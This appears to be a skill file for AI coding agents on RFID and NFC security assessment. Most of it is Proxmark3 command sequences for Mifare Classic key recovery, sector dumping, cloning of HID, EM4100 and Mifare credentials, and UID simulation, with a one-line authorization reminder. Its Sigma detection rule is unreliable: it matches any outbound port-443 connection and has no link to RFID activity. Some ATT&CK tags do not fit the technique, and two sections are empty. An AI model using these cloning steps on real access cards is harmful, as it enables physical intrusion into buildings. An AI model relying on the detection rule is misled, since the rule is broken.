Performing Rfid Security Assessment

name: performing-rfid-security-assessment description: >- RFID and NFC security assessment including proximity card cloning, replay attacks, UID brute forcing, Mifare Classic key recovery, and physical access control bypass testing. domain: cybersecurity subdomain: wireless-security tags: - rfid - nfc - proxmark - mifare - access-control version: "1.0" author: defconxt license: AGPL-3.0 compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent. metadata: mitre-attack: ["T1200", "T1556.001", "T1078"] nist-csf: ["PR.AC-1", "PR.AC-7", "DE.CM-1"] uuid: 058d38e3-19a7-48b7-a86c-e5b1d3e4d36e

Performing RFID Security Assessment

Overview

RFID security assessments evaluate the security of proximity-based access systems including HID, Mifare, EM4100, and NFC-based credentials. Using tools like Proxmark3 and libnfc, testers can clone credentials, perform replay attacks, recover encryption keys, and validate physical access control implementations. All testing requires explicit written authorization from the facility owner.

Mode: [MODE: RED] for this technique.

Prerequisites

Key Concepts

RFID Attack Surface

RFID Security Assessment Phases:
├── Credential Analysis
│   ├── Card technology identification (LF/HF)
│   ├── UID/CSN extraction
│   ├── Sector data dump and analysis
│   └── Encryption key recovery
├── Cloning Attacks
│   ├── UID-only cloning (T5577, Magic Mifare)
│   ├── Full sector cloning with keys
│   ├── HID proximity card duplication
│   └── EM4100 LF credential cloning
├── Protocol Attacks
│   ├── Mifare Classic nested authentication
│   ├── Mifare Classic darkside attack
│   ├── Replay attacks against readers
│   └── Brute force UID enumeration
└── Physical Assessment
    ├── Reader placement evaluation
    ├── Tailgating gap analysis
    ├── Long-range read testing
    └── Shielding effectiveness

Card Identification and UID Extraction

# Auto-detect card technology with Proxmark3
proxmark3 /dev/ttyACM0
[proxmark3]> auto
[proxmark3]> hf search
[proxmark3]> lf search

# Read HID Prox credentials
[proxmark3]> lf hid read

# Read Mifare Classic UID and ATQA/SAK
[proxmark3]> hf mf info

# Dump Mifare Classic with known default keys
[proxmark3]> hf mf autopwn

Mifare Classic Key Recovery

# Darkside attack — recover first key from vulnerable cards
[proxmark3]> hf mf darkside

# Nested authentication attack — recover remaining keys
[proxmark3]> hf mf nested --blk 0 -a -k FFFFFFFFFFFF --tblk 4

# Hard-nested attack for hardened cards
[proxmark3]> hf mf hardnested --blk 0 -a -k FFFFFFFFFFFF --tblk 4

# Full dump with recovered keys
[proxmark3]> hf mf dump

# Alternative: mfoc for automated key recovery
mfoc -O card_dump.mfd

Credential Cloning

# Clone HID credential to T5577 card
[proxmark3]> lf hid read
[proxmark3]> lf hid clone --raw 200670012d

# Clone Mifare Classic to Magic card (Gen1a)
[proxmark3]> hf mf cload -f card_dump.mfd

# Write EM4100 ID to T5577 blank
[proxmark3]> lf em 410x clone --id 0102030405

# Simulate card UID for access testing
[proxmark3]> hf mf sim --uid 01020304

Workflow

Step 1: Pre-Engagement

Confirm scope includes physical access control testing and obtain facility authorization.

Step 2: Card Technology Identification

[proxmark3]> auto
[proxmark3]> hf search
[proxmark3]> lf search

Step 3: Key Recovery

Execute appropriate key recovery attacks for the identified card technology.

Step 4: Cloning Validation

# Test cloned credential against authorized reader
# Document successful and failed access attempts

Step 5: Reporting

Document findings including clone success rate, reader vulnerabilities, and remediation.

Detection

title: Rfid Security Assessment Detection
id: 94219142-b970-42a1-a7c7-144c19b68e83
status: experimental
description: Detects suspicious activity related to performing rfid security assessment techniques in wireless security context
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationPort: 443
    Initiated: "true"
  condition: selection
level: medium
tags:
  - attack.t1200
  - attack.t1556.001
  - attack.t1078
  - attack.initial_access
falsepositives:
  - Wireless intrusion detection system performing routine monitoring

Detection Opportunities

Verification

• Card technology correctly identified for all tested credentials
• Key recovery attempted and results documented
• Cloning tested only against authorized readers
• Physical access control gaps documented with photos
• Remediation recommendations include both technical and procedural controls

References

• MITRE ATT&CK T1200 — Hardware Additions
• MITRE ATT&CK T1556.001 — Domain Controller Authentication
• OWASP IoT Security Testing Guide
• Proxmark3 documentation